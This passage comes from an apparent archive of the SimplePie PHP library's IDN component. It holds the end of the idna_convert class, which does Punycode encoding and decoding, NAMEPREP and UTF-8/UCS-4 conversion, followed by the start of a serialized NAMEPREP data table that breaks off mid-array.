(preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $v)) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } } $input = join('.', $arr); $arr = explode('.', $email_pref); foreach ($arr as $k => $v) { if (preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $v)) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } } $email_pref = join('.', $arr); $return = $email_pref . '@' . $input; } elseif (preg_match('![:\./]!', $input)) { // Or a complete domain name (with or without paths / parameters) // No no in strict mode if ($this->_strict_mode) { $this->_error('Only simple domain name parts can be handled in strict mode'); return false; } $parsed = parse_url($input); if (isset($parsed['host'])) { $arr = explode('.', $parsed['host']); foreach ($arr as $k => $v) { $conv = $this->_decode($v); if ($conv) $arr[$k] = $conv; } $parsed['host'] = join('.', $arr); $return = (empty($parsed['scheme']) ? '' : $parsed['scheme'].(strtolower($parsed['scheme']) == 'mailto' ? ':' : '://')) .(empty($parsed['user']) ? '' : $parsed['user'].(empty($parsed['pass']) ? '' : ':'.$parsed['pass']).'@') .$parsed['host'] .(empty($parsed['port']) ? '' : ':'.$parsed['port']) .(empty($parsed['path']) ? '' : $parsed['path']) .(empty($parsed['query']) ? '' : '?'.$parsed['query']) .(empty($parsed['fragment']) ? '' : '#'.$parsed['fragment']); } else { // parse_url seems to have failed, try without it $arr = explode('.', $input); foreach ($arr as $k => $v) { $conv = $this->_decode($v); $arr[$k] = ($conv) ? $conv : $v; } $return = join('.', $arr); } } else { // Otherwise we consider it being a pure domain name string $return = $this->_decode($input); if (!$return) $return = $input; } // The output is UTF-8 by default, other output formats need conversion here // If one time encoding is given, use this, else the objects property switch (($one_time_encoding) ? $one_time_encoding : $this->_api_encoding) { case 'utf8': return $return; break; case 'ucs4_string': return $this->_ucs4_to_ucs4_string($this->_utf8_to_ucs4($return)); break; case 'ucs4_array': return $this->_utf8_to_ucs4($return); break; default: $this->_error('Unsupported output format'); return false; } } /** * Encode a given UTF-8 domain name * @param string Domain name (UTF-8 or UCS-4) * [@param string Desired input encoding, see {@link set_parameter}] * @return string Encoded Domain name (ACE string) * @access public */ function encode($decoded, $one_time_encoding = false) { // Forcing conversion of input to UCS4 array // If one time encoding is given, use this, else the objects property switch ($one_time_encoding ? $one_time_encoding : $this->_api_encoding) { case 'utf8': $decoded = $this->_utf8_to_ucs4($decoded); break; case 'ucs4_string': $decoded = $this->_ucs4_string_to_ucs4($decoded); case 'ucs4_array': break; default: $this->_error('Unsupported input format: '.($one_time_encoding ? $one_time_encoding : $this->_api_encoding)); return false; } // No input, no output, what else did you expect? if (empty($decoded)) return ''; // Anchors for iteration $last_begin = 0; // Output string $output = ''; foreach ($decoded as $k => $v) { // Make sure to use just the plain dot switch($v) { case 0x3002: case 0xFF0E: case 0xFF61: $decoded[$k] = 0x2E; // Right, no break here, the above are converted to dots anyway // Stumbling across an anchoring character case 0x2E: case 0x2F: case 0x3A: case 0x3F: case 0x40: // Neither email addresses nor URLs allowed in strict mode if ($this->_strict_mode) { $this->_error('Neither email addresses nor URLs are allowed in strict mode.'); return false; } // Skip first char if ($k) { $encoded = ''; $encoded = $this->_encode(array_slice($decoded, $last_begin, (($k)-$last_begin))); if ($encoded) { $output .= $encoded; } else { $output .= $this->_ucs4_to_utf8(array_slice($decoded, $last_begin, (($k)-$last_begin))); } $output .= chr($decoded[$k]); } $last_begin = $k + 1; } } // Catch the rest of the string if ($last_begin) { $inp_len = sizeof($decoded); $encoded = ''; $encoded = $this->_encode(array_slice($decoded, $last_begin, (($inp_len)-$last_begin))); if ($encoded) { $output .= $encoded; } else { $output .= $this->_ucs4_to_utf8(array_slice($decoded, $last_begin, (($inp_len)-$last_begin))); } return $output; } if ($output = $this->_encode($decoded)) { return $output; } return $this->_ucs4_to_utf8($decoded); } /** * Use this method to get the last error ocurred * @param void * @return string The last error, that occured * @access public */ function get_last_error() { return $this->_error; } /** * The actual decoding algorithm * @access private */ function _decode($encoded) { // We do need to find the Punycode prefix if (!preg_match('!^'.preg_quote($this->_punycode_prefix, '!').'!', $encoded)) { $this->_error('This is not a punycode string'); return false; } $encode_test = preg_replace('!^'.preg_quote($this->_punycode_prefix, '!').'!', '', $encoded); // If nothing left after removing the prefix, it is hopeless if (!$encode_test) { $this->_error('The given encoded string was empty'); return false; } // Find last occurence of the delimiter $delim_pos = strrpos($encoded, '-'); if ($delim_pos > strlen($this->_punycode_prefix)) { for ($k = strlen($this->_punycode_prefix); $k < $delim_pos; ++$k) { $decoded[] = ord($encoded[$k]); } } else { $decoded = array(); } $deco_len = count($decoded); $enco_len = strlen($encoded); // Wandering through the strings; init $is_first = true; $bias = $this->_initial_bias; $idx = 0; $char = $this->_initial_n; for ($enco_idx = ($delim_pos) ? ($delim_pos + 1) : 0; $enco_idx < $enco_len; ++$deco_len) { for ($old_idx = $idx, $w = 1, $k = $this->_base; 1 ; $k += $this->_base) { $digit = $this->_decode_digit($encoded[$enco_idx++]); $idx += $digit * $w; $t = ($k <= $bias) ? $this->_tmin : (($k >= $bias + $this->_tmax) ? $this->_tmax : ($k - $bias)); if ($digit < $t) break; $w = (int) ($w * ($this->_base - $t)); } $bias = $this->_adapt($idx - $old_idx, $deco_len + 1, $is_first); $is_first = false; $char += (int) ($idx / ($deco_len + 1)); $idx %= ($deco_len + 1); if ($deco_len > 0) { // Make room for the decoded char for ($i = $deco_len; $i > $idx; $i--) { $decoded[$i] = $decoded[($i - 1)]; } } $decoded[$idx++] = $char; } return $this->_ucs4_to_utf8($decoded); } /** * The actual encoding algorithm * @access private */ function _encode($decoded) { // We cannot encode a domain name containing the Punycode prefix $extract = strlen($this->_punycode_prefix); $check_pref = $this->_utf8_to_ucs4($this->_punycode_prefix); $check_deco = array_slice($decoded, 0, $extract); if ($check_pref == $check_deco) { $this->_error('This is already a punycode string'); return false; } // We will not try to encode strings consisting of basic code points only $encodable = false; foreach ($decoded as $k => $v) { if ($v > 0x7a) { $encodable = true; break; } } if (!$encodable) { $this->_error('The given string does not contain encodable chars'); return false; } // Do NAMEPREP $decoded = $this->_nameprep($decoded); if (!$decoded || !is_array($decoded)) return false; // NAMEPREP failed $deco_len = count($decoded); if (!$deco_len) return false; // Empty array $codecount = 0; // How many chars have been consumed $encoded = ''; // Copy all basic code points to output for ($i = 0; $i < $deco_len; ++$i) { $test = $decoded[$i]; // Will match [-0-9a-zA-Z] if ((0x2F < $test && $test < 0x40) || (0x40 < $test && $test < 0x5B) || (0x60 < $test && $test <= 0x7B) || (0x2D == $test)) { $encoded .= chr($decoded[$i]); $codecount++; } } if ($codecount == $deco_len) return $encoded; // All codepoints were basic ones // Start with the prefix; copy it to output $encoded = $this->_punycode_prefix.$encoded; // If we have basic code points in output, add an hyphen to the end if ($codecount) $encoded .= '-'; // Now find and encode all non-basic code points $is_first = true; $cur_code = $this->_initial_n; $bias = $this->_initial_bias; $delta = 0; while ($codecount < $deco_len) { // Find the smallest code point >= the current code point and // remember the last ouccrence of it in the input for ($i = 0, $next_code = $this->_max_ucs; $i < $deco_len; $i++) { if ($decoded[$i] >= $cur_code && $decoded[$i] <= $next_code) { $next_code = $decoded[$i]; } } $delta += ($next_code - $cur_code) * ($codecount + 1); $cur_code = $next_code; // Scan input again and encode all characters whose code point is $cur_code for ($i = 0; $i < $deco_len; $i++) { if ($decoded[$i] < $cur_code) { $delta++; } elseif ($decoded[$i] == $cur_code) { for ($q = $delta, $k = $this->_base; 1; $k += $this->_base) { $t = ($k <= $bias) ? $this->_tmin : (($k >= $bias + $this->_tmax) ? $this->_tmax : $k - $bias); if ($q < $t) break; $encoded .= $this->_encode_digit(intval($t + (($q - $t) % ($this->_base - $t)))); //v0.4.5 Changed from ceil() to intval() $q = (int) (($q - $t) / ($this->_base - $t)); } $encoded .= $this->_encode_digit($q); $bias = $this->_adapt($delta, $codecount+1, $is_first); $codecount++; $delta = 0; $is_first = false; } } $delta++; $cur_code++; } return $encoded; } /** * Adapt the bias according to the current code point and position * @access private */ function _adapt($delta, $npoints, $is_first) { $delta = intval($is_first ? ($delta / $this->_damp) : ($delta / 2)); $delta += intval($delta / $npoints); for ($k = 0; $delta > (($this->_base - $this->_tmin) * $this->_tmax) / 2; $k += $this->_base) { $delta = intval($delta / ($this->_base - $this->_tmin)); } return intval($k + ($this->_base - $this->_tmin + 1) * $delta / ($delta + $this->_skew)); } /** * Encoding a certain digit * @access private */ function _encode_digit($d) { return chr($d + 22 + 75 * ($d < 26)); } /** * Decode a certain digit * @access private */ function _decode_digit($cp) { $cp = ord($cp); return ($cp - 48 < 10) ? $cp - 22 : (($cp - 65 < 26) ? $cp - 65 : (($cp - 97 < 26) ? $cp - 97 : $this->_base)); } /** * Internal error handling method * @access private */ function _error($error = '') { $this->_error = $error; } /** * Do Nameprep according to RFC3491 and RFC3454 * @param array Unicode Characters * @return string Unicode Characters, Nameprep'd * @access private */ function _nameprep($input) { $output = array(); $error = false; // // Mapping // Walking through the input array, performing the required steps on each of // the input chars and putting the result into the output array // While mapping required chars we apply the cannonical ordering foreach ($input as $v) { // Map to nothing == skip that code point if (in_array($v, $this->NP['map_nothing'])) continue; // Try to find prohibited input if (in_array($v, $this->NP['prohibit']) || in_array($v, $this->NP['general_prohibited'])) { $this->_error('NAMEPREP: Prohibited input U+'.sprintf('%08X', $v)); return false; } foreach ($this->NP['prohibit_ranges'] as $range) { if ($range[0] <= $v && $v <= $range[1]) { $this->_error('NAMEPREP: Prohibited input U+'.sprintf('%08X', $v)); return false; } } // // Hangul syllable decomposition if (0xAC00 <= $v && $v <= 0xD7AF) { foreach ($this->_hangul_decompose($v) as $out) { $output[] = (int) $out; } // There's a decomposition mapping for that code point } elseif (isset($this->NP['replacemaps'][$v])) { foreach ($this->_apply_cannonical_ordering($this->NP['replacemaps'][$v]) as $out) { $output[] = (int) $out; } } else { $output[] = (int) $v; } } // Before applying any Combining, try to rearrange any Hangul syllables $output = $this->_hangul_compose($output); // // Combine code points // $last_class = 0; $last_starter = 0; $out_len = count($output); for ($i = 0; $i < $out_len; ++$i) { $class = $this->_get_combining_class($output[$i]); if ((!$last_class || $last_class > $class) && $class) { // Try to match $seq_len = $i - $last_starter; $out = $this->_combine(array_slice($output, $last_starter, $seq_len)); // On match: Replace the last starter with the composed character and remove // the now redundant non-starter(s) if ($out) { $output[$last_starter] = $out; if (count($out) != $seq_len) { for ($j = $i+1; $j < $out_len; ++$j) { $output[$j-1] = $output[$j]; } unset($output[$out_len]); } // Rewind the for loop by one, since there can be more possible compositions $i--; $out_len--; $last_class = ($i == $last_starter) ? 0 : $this->_get_combining_class($output[$i-1]); continue; } } // The current class is 0 if (!$class) $last_starter = $i; $last_class = $class; } return $output; } /** * Decomposes a Hangul syllable * (see http://www.unicode.org/unicode/reports/tr15/#Hangul * @param integer 32bit UCS4 code point * @return array Either Hangul Syllable decomposed or original 32bit value as one value array * @access private */ function _hangul_decompose($char) { $sindex = (int) $char - $this->_sbase; if ($sindex < 0 || $sindex >= $this->_scount) { return array($char); } $result = array(); $result[] = (int) $this->_lbase + $sindex / $this->_ncount; $result[] = (int) $this->_vbase + ($sindex % $this->_ncount) / $this->_tcount; $T = intval($this->_tbase + $sindex % $this->_tcount); if ($T != $this->_tbase) $result[] = $T; return $result; } /** * Ccomposes a Hangul syllable * (see http://www.unicode.org/unicode/reports/tr15/#Hangul * @param array Decomposed UCS4 sequence * @return array UCS4 sequence with syllables composed * @access private */ function _hangul_compose($input) { $inp_len = count($input); if (!$inp_len) return array(); $result = array(); $last = (int) $input[0]; $result[] = $last; // copy first char from input to output for ($i = 1; $i < $inp_len; ++$i) { $char = (int) $input[$i]; $sindex = $last - $this->_sbase; $lindex = $last - $this->_lbase; $vindex = $char - $this->_vbase; $tindex = $char - $this->_tbase; // Find out, whether two current characters are LV and T if (0 <= $sindex && $sindex < $this->_scount && ($sindex % $this->_tcount == 0) && 0 <= $tindex && $tindex <= $this->_tcount) { // create syllable of form LVT $last += $tindex; $result[(count($result) - 1)] = $last; // reset last continue; // discard char } // Find out, whether two current characters form L and V if (0 <= $lindex && $lindex < $this->_lcount && 0 <= $vindex && $vindex < $this->_vcount) { // create syllable of form LV $last = (int) $this->_sbase + ($lindex * $this->_vcount + $vindex) * $this->_tcount; $result[(count($result) - 1)] = $last; // reset last continue; // discard char } // if neither case was true, just add the character $last = $char; $result[] = $char; } return $result; } /** * Returns the combining class of a certain wide char * @param integer Wide char to check (32bit integer) * @return integer Combining class if found, else 0 * @access private */ function _get_combining_class($char) { return isset($this->NP['norm_combcls'][$char]) ? $this->NP['norm_combcls'][$char] : 0; } /** * Apllies the cannonical ordering of a decomposed UCS4 sequence * @param array Decomposed UCS4 sequence * @return array Ordered USC4 sequence * @access private */ function _apply_cannonical_ordering($input) { $swap = true; $size = count($input); while ($swap) { $swap = false; $last = $this->_get_combining_class(intval($input[0])); for ($i = 0; $i < $size-1; ++$i) { $next = $this->_get_combining_class(intval($input[$i+1])); if ($next != 0 && $last > $next) { // Move item leftward until it fits for ($j = $i + 1; $j > 0; --$j) { if ($this->_get_combining_class(intval($input[$j-1])) <= $next) break; $t = intval($input[$j]); $input[$j] = intval($input[$j-1]); $input[$j-1] = $t; $swap = true; } // Reentering the loop looking at the old character again $next = $last; } $last = $next; } } return $input; } /** * Do composition of a sequence of starter and non-starter * @param array UCS4 Decomposed sequence * @return array Ordered USC4 sequence * @access private */ function _combine($input) { $inp_len = count($input); foreach ($this->NP['replacemaps'] as $np_src => $np_target) { if ($np_target[0] != $input[0]) continue; if (count($np_target) != $inp_len) continue; $hit = false; foreach ($input as $k2 => $v2) { if ($v2 == $np_target[$k2]) { $hit = true; } else { $hit = false; break; } } if ($hit) return $np_src; } return false; } /** * This converts an UTF-8 encoded string to its UCS-4 representation * By talking about UCS-4 "strings" we mean arrays of 32bit integers representing * each of the "chars". This is due to PHP not being able to handle strings with * bit depth different from 8. This apllies to the reverse method _ucs4_to_utf8(), too. * The following UTF-8 encodings are supported: * bytes bits representation * 1 7 0xxxxxxx * 2 11 110xxxxx 10xxxxxx * 3 16 1110xxxx 10xxxxxx 10xxxxxx * 4 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx * 5 26 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx * 6 31 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx * Each x represents a bit that can be used to store character data. * The five and six byte sequences are part of Annex D of ISO/IEC 10646-1:2000 * @access private */ function _utf8_to_ucs4($input) { $output = array(); $out_len = 0; $inp_len = strlen($input); $mode = 'next'; $test = 'none'; for ($k = 0; $k < $inp_len; ++$k) { $v = ord($input[$k]); // Extract byte from input string if ($v < 128) { // We found an ASCII char - put into stirng as is $output[$out_len] = $v; ++$out_len; if ('add' == $mode) { $this->_error('Conversion from UTF-8 to UCS-4 failed: malformed input at byte '.$k); return false; } continue; } if ('next' == $mode) { // Try to find the next start byte; determine the width of the Unicode char $start_byte = $v; $mode = 'add'; $test = 'range'; if ($v >> 5 == 6) { // &110xxxxx 10xxxxx $next_byte = 0; // Tells, how many times subsequent bitmasks must rotate 6bits to the left $v = ($v - 192) << 6; } elseif ($v >> 4 == 14) { // &1110xxxx 10xxxxxx 10xxxxxx $next_byte = 1; $v = ($v - 224) << 12; } elseif ($v >> 3 == 30) { // &11110xxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 2; $v = ($v - 240) << 18; } elseif ($v >> 2 == 62) { // &111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 3; $v = ($v - 248) << 24; } elseif ($v >> 1 == 126) { // &1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx $next_byte = 4; $v = ($v - 252) << 30; } else { $this->_error('This might be UTF-8, but I don\'t understand it at byte '.$k); return false; } if ('add' == $mode) { $output[$out_len] = (int) $v; ++$out_len; continue; } } if ('add' == $mode) { if (!$this->_allow_overlong && $test == 'range') { $test = 'none'; if (($v < 0xA0 && $start_byte == 0xE0) || ($v < 0x90 && $start_byte == 0xF0) || ($v > 0x8F && $start_byte == 0xF4)) { $this->_error('Bogus UTF-8 character detected (out of legal range) at byte '.$k); return false; } } if ($v >> 6 == 2) { // Bit mask must be 10xxxxxx $v = ($v - 128) << ($next_byte * 6); $output[($out_len - 1)] += $v; --$next_byte; } else { $this->_error('Conversion from UTF-8 to UCS-4 failed: malformed input at byte '.$k); return false; } if ($next_byte < 0) { $mode = 'next'; } } } // for return $output; } /** * Convert UCS-4 string into UTF-8 string * See _utf8_to_ucs4() for details * @access private */ function _ucs4_to_utf8($input) { $output = ''; $k = 0; foreach ($input as $v) { ++$k; // $v = ord($v); if ($v < 128) { // 7bit are transferred literally $output .= chr($v); } elseif ($v < (1 << 11)) { // 2 bytes $output .= chr(192 + ($v >> 6)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 16)) { // 3 bytes $output .= chr(224 + ($v >> 12)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 21)) { // 4 bytes $output .= chr(240 + ($v >> 18)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 26)) { // 5 bytes $output .= chr(248 + ($v >> 24)) . chr(128 + (($v >> 18) & 63)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } elseif ($v < (1 << 31)) { // 6 bytes $output .= chr(252 + ($v >> 30)) . chr(128 + (($v >> 24) & 63)) . chr(128 + (($v >> 18) & 63)) . chr(128 + (($v >> 12) & 63)) . chr(128 + (($v >> 6) & 63)) . chr(128 + ($v & 63)); } else { $this->_error('Conversion from UCS-4 to UTF-8 failed: malformed input at byte '.$k); return false; } } return $output; } /** * Convert UCS-4 array into UCS-4 string * * @access private */ function _ucs4_to_ucs4_string($input) { $output = ''; // Take array values and split output to 4 bytes per value // The bit mask is 255, which reads &11111111 foreach ($input as $v) { $output .= chr(($v >> 24) & 255).chr(($v >> 16) & 255).chr(($v >> 8) & 255).chr($v & 255); } return $output; } /** * Convert UCS-4 strin into UCS-4 garray * * @access private */ function _ucs4_string_to_ucs4($input) { $output = array(); $inp_len = strlen($input); // Input length must be dividable by 4 if ($inp_len % 4) { $this->_error('Input UCS4 string is broken'); return false; } // Empty input - return empty output if (!$inp_len) return $output; for ($i = 0, $out_len = -1; $i < $inp_len; ++$i) { // Increment output position every 4 input bytes if (!($i % 4)) { $out_len++; $output[$out_len] = 0; } $output[$out_len] += ord($input[$i]) << (8 * (3 - ($i % 4) ) ); } return $output; } } /** * Adapter class for aligning the API of idna_convert with that of Net_IDNA * @author Matthias Sommerfeld */ class Net_IDNA_php4 extends idna_convert { /** * Sets a new option value. Available options and values: * [encoding - Use either UTF-8, UCS4 as array or UCS4 as string as input ('utf8' for UTF-8, * 'ucs4_string' and 'ucs4_array' respectively for UCS4); The output is always UTF-8] * [overlong - Unicode does not allow unnecessarily long encodings of chars, * to allow this, set this parameter to true, else to false; * default is false.] * [strict - true: strict mode, good for registration purposes - Causes errors * on failures; false: loose mode, ideal for "wildlife" applications * by silently ignoring errors and returning the original input instead * * @param mixed Parameter to set (string: single parameter; array of Parameter => Value pairs) * @param string Value to use (if parameter 1 is a string) * @return boolean true on success, false otherwise * @access public */ function setParams($option, $param = false) { return $this->IC->set_parameters($option, $param); } } ?> res/simplepie/idn/index.php000064400000000037147577714370011744 0ustar00 res/simplepie/idn/npdata.ser000064400000122601147577714370012110 0ustar00a:6:{s:11:"map_nothing";a:27:{i:0;i:173;i:1;i:847;i:2;i:6150;i:3;i:6155;i:4;i:6156;i:5;i:6157;i:6;i:8203;i:7;i:8204;i:8;i:8205;i:9;i:8288;i:10;i:65024;i:11;i:65025;i:12;i:65026;i:13;i:65027;i:14;i:65028;i:15;i:65029;i:16;i:65030;i:17;i:65031;i:18;i:65032;i:19;i:65033;i:20;i:65034;i:21;i:65035;i:22;i:65036;i:23;i:65037;i:24;i:65038;i:25;i:65039;i:26;i:65279;}s:18:"general_prohibited";a:64:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;i:40;i:40;i:41;i:41;i:42;i:42;i:43;i:43;i:44;i:44;i:45;i:47;i:46;i:59;i:47;i:60;i:48;i:61;i:49;i:62;i:50;i:63;i:51;i:64;i:52;i:91;i:53;i:92;i:54;i:93;i:55;i:94;i:56;i:95;i:57;i:96;i:58;i:123;i:59;i:124;i:60;i:125;i:61;i:126;i:62;i:127;i:63;i:12290;}s:8:"prohibit";a:84:{i:0;i:160;i:1;i:5760;i:2;i:8192;i:3;i:8193;i:4;i:8194;i:5;i:8195;i:6;i:8196;i:7;i:8197;i:8;i:8198;i:9;i:8199;i:10;i:8200;i:11;i:8201;i:12;i:8202;i:13;i:8203;i:14;i:8239;i:15;i:8287;i:16;i:12288;i:17;i:1757;i:18;i:1807;i:19;i:6158;i:20;i:8204;i:21;i:8205;i:22;i:8232;i:23;i:8233;i:24;i:65279;i:25;i:65529;i:26;i:65530;i:27;i:65531;i:28;i:65532;i:29;i:65534;i:30;i:65535;i:31;i:131070;i:32;i:131071;i:33;i:196606;i:34;i:196607;i:35;i:262142;i:36;i:262143;i:37;i:327678;i:38;i:327679;i:39;i:393214;i:40;i:393215;i:41;i:458750;i:42;i:458751;i:43;i:524286;i:44;i:524287;i:45;i:589822;i:46;i:589823;i:47;i:655358;i:48;i:655359;i:49;i:720894;i:50;i:720895;i:51;i:786430;i:52;i:786431;i:53;i:851966;i:54;i:851967;i:55;i:917502;i:56;i:917503;i:57;i:983038;i:58;i:983039;i:59;i:1048574;i:60;i:1048575;i:61;i:1114110;i:62;i:1114111;i:63;i:65529;i:64;i:65530;i:65;i:65531;i:66;i:65532;i:67;i:65533;i:68;i:832;i:69;i:833;i:70;i:8206;i:71;i:8207;i:72;i:8234;i:73;i:8235;i:74;i:8236;i:75;i:8237;i:76;i:8238;i:77;i:8298;i:78;i:8299;i:79;i:8300;i:80;i:8301;i:81;i:8302;i:82;i:8303;i:83;i:917505;}s:15:"prohibit_ranges";a:10:{i:0;a:2:{i:0;i:128;i:1;i:159;}i:1;a:2:{i:0;i:8288;i:1;i:8303;}i:2;a:2:{i:0;i:119155;i:1;i:119162;}i:3;a:2:{i:0;i:57344;i:1;i:63743;}i:4;a:2:{i:0;i:983040;i:1;i:1048573;}i:5;a:2:{i:0;i:1048576;i:1;i:1114109;}i:6;a:2:{i:0;i:64976;i:1;i:65007;}i:7;a:2:{i:0;i:55296;i:1;i:57343;}i:8;a:2:{i:0;i:12272;i:1;i:12283;}i:9;a:2:{i:0;i:917536;i:1;i:917631;}}s:11:"replacemaps";a:1401:{i:65;a:1:{i:0;i:97;}i:66;a:1:{i:0;i:98;}i:67;a:1:{i:0;i:99;}i:68;a:1:{i:0;i:100;}i:69;a:1:{i:0;i:101;}i:70;a:1:{i:0;i:102;}i:71;a:1:{i:0;i:103;}i:72;a:1:{i:0;i:104;}i:73;a:1:{i:0;i:105;}i:74;a:1:{i:0;i:106;}i:75;a:1:{i:0;i:107;}i:76;a:1:{i:0;i:108;}i:77;a:1:{i:0;i:109;}i:78;a:1:{i:0;i:110;}i:79;a:1:{i:0;i:111;}i:80;a:1:{i:0;i:112;}i:81;a:1:{i:0;i:113;}i:82;a:1:{i:0;i:114;}i:83;a:1:{i:0;i:115;}i:84;a:1:{i:0;i:116;}i:85;a:1:{i:0;i:117;}i:86;a:1:{i:0;i:118;}i:87;a:1:{i:0;i:119;}i:88;a:1:{i:0;i:120;}i:89;a:1:{i:0;i:121;}i:90;a:1:{i:0;i:122;}i:181;a:1:{i:0;i:956;}i:192;a:1:{i:0;i:224;}i:193;a:1:{i:0;i:225;}i:194;a:1:{i:0;i:226;}i:195;a:1:{i:0;i:227;}i:196;a:1:{i:0;i:228;}i:197;a:1:{i:0;i:229;}i:198;a:1:{i:0;i:230;}i:199;a:1:{i:0;i:231;}i:200;a:1:{i:0;i:232;}i:201;a:1:{i:0;i:233;}i:202;a:1:{i:0;i:234;}i:203;a:1:{i:0;i:235;}i:204;a:1:{i:0;i:236;}i:205;a:1:{i:0;i:237;}i:206;a:1:{i:0;i:238;}i:207;a:1:{i:0;i:239;}i:208;a:1:{i:0;i:240;}i:209;a:1:{i:0;i:241;}i:210;a:1:{i:0;i:242;}i:211;a:1:{i:0;i:243;}i:212;a:1:{i:0;i:244;}i:213;a:1:{i:0;i:245;}i:214;a:1:{i:0;i:246;}i:216;a:1:{i:0;i:248;}i:217;a:1:{i:0;i:249;}i:218;a:1:{i:0;i:250;}i:219;a:1:{i:0;i:251;}i:220;a:1:{i:0;i:252;}i:221;a:1:{i:0;i:253;}i:222;a:1:{i:0;i:254;}i:223;a:2:{i:0;i:115;i:1;i:115;}i:256;a:1:{i:0;i:257;}i:258;a:1:{i:0;i:259;}i:260;a:1:{i:0;i:261;}i:262;a:1:{i:0;i:263;}i:264;a:1:{i:0;i:265;}i:266;a:1:{i:0;i:267;}i:268;a:1:{i:0;i:269;}i:270;a:1:{i:0;i:271;}i:272;a:1:{i:0;i:273;}i:274;a:1:{i:0;i:275;}i:276;a:1:{i:0;i:277;}i:278;a:1:{i:0;i:279;}i:280;a:1:{i:0;i:281;}i:282;a:1:{i:0;i:283;}i:284;a:1:{i:0;i:285;}i:286;a:1:{i:0;i:287;}i:288;a:1:{i:0;i:289;}i:290;a:1:{i:0;i:291;}i:292;a:1:{i:0;i:293;}i:294;a:1:{i:0;i:295;}i:296;a:1:{i:0;i:297;}i:298;a:1:{i:0;i:299;}i:300;a:1:{i:0;i:301;}i:302;a:1:{i:0;i:303;}i:304;a:2:{i:0;i:105;i:1;i:775;}i:306;a:1:{i:0;i:307;}i:308;a:1:{i:0;i:309;}i:310;a:1:{i:0;i:311;}i:313;a:1:{i:0;i:314;}i:315;a:1:{i:0;i:316;}i:317;a:1:{i:0;i:318;}i:319;a:1:{i:0;i:320;}i:321;a:1:{i:0;i:322;}i:323;a:1:{i:0;i:324;}i:325;a:1:{i:0;i:326;}i:327;a:1:{i:0;i:328;}i:329;a:2:{i:0;i:700;i:1;i:110;}i:330;a:1:{i:0;i:331;}i:332;a:1:{i:0;i:333;}i:334;a:1:{i:0;i:335;}i:336;a:1:{i:0;i:337;}i:338;a:1:{i:0;i:339;}i:340;a:1:{i:0;i:341;}i:342;a:1:{i:0;i:343;}i:344;a:1:{i:0;i:345;}i:346;a:1:{i:0;i:347;}i:348;a:1:{i:0;i:349;}i:350;a:1:{i:0;i:351;}i:352;a:1:{i:0;i:353;}i:354;a:1:{i:0;i:355;}i:356;a:1:{i:0;i:357;}i:358;a:1:{i:0;i:359;}i:360;a:1:{i:0;i:361;}i:362;a:1:{i:0;i:363;}i:364;a:1:{i:0;i:365;}i:366;a:1:{i:0;i:367;}i:368;a:1:{i:0;i:369;}i:370;a:1:{i:0;i:371;}i:372;a:1:{i:0;i:373;}i:374;a:1:{i:0;i:375;}i:376;a:1:{i:0;i:255;}i:377;a:1:{i:0;i:378;}i:379;a:1:{i:0;i:380;}i:381;a:1:{i:0;i:382;}i:383;a:1:{i:0;i:115;}i:385;a:1:{i:0;i:595;}i:386;a:1:{i:0;i:387;}i:388;a:1:{i:0;i:389;}i:390;a:1:{i:0;i:596;}i:391;a:1:{i:0;i:392;}i:393;a:1:{i:0;i:598;}i:394;a:1:{i:0;i:599;}i:395;a:1:{i:0;i:396;}i:398;a:1:{i:0;i:477;}i:399;a:1:{i:0;i:601;}i:400;a:1:{i:0;i:603;}i:401;a:1:{i:0;i:402;}i:403;a:1:{i:0;i:608;}i:404;a:1:{i:0;i:611;}i:406;a:1:{i:0;i:617;}i:407;a:1:{i:0;i:616;}i:408;a:1:{i:0;i:409;}i:412;a:1:{i:0;i:623;}i:413;a:1:{i:0;i:626;}i:415;a:1:{i:0;i:629;}i:416;a:1:{i:0;i:417;}i:418;a:1:{i:0;i:419;}i:420;a:1:{i:0;i:421;}i:422;a:1:{i:0;i:640;}i:423;a:1:{i:0;i:424;}i:425;a:1:{i:0;i:643;}i:428;a:1:{i:0;i:429;}i:430;a:1:{i:0;i:648;}i:431;a:1:{i:0;i:432;}i:433;a:1:{i:0;i:650;}i:434;a:1:{i:0;i:651;}i:435;a:1:{i:0;i:436;}i:437;a:1:{i:0;i:438;}i:439;a:1:{i:0;i:658;}i:440;a:1:{i:0;i:441;}i:444;a:1:{i:0;i:445;}i:452;a:1:{i:0;i:454;}i:453;a:1:{i:0;i:454;}i:455;a:1:{i:0;i:457;}i:456;a:1:{i:0;i:457;}i:458;a:1:{i:0;i:460;}i:459;a:1:{i:0;i:460;}i:461;a:1:{i:0;i:462;}i:463;a:1:{i:0;i:464;}i:465;a:1:{i:0;i:466;}i:467;a:1:{i:0;i:468;}i:469;a:1:{i:0;i:470;}i:471;a:1:{i:0;i:472;}i:473;a:1:{i:0;i:474;}i:475;a:1:{i:0;i:476;}i:478;a:1:{i:0;i:479;}i:480;a:1:{i:0;i:481;}i:482;a:1:{i:0;i:483;}i:484;a:1:{i:0;i:485;}i:486;a:1:{i:0;i:487;}i:488;a:1:{i:0;i: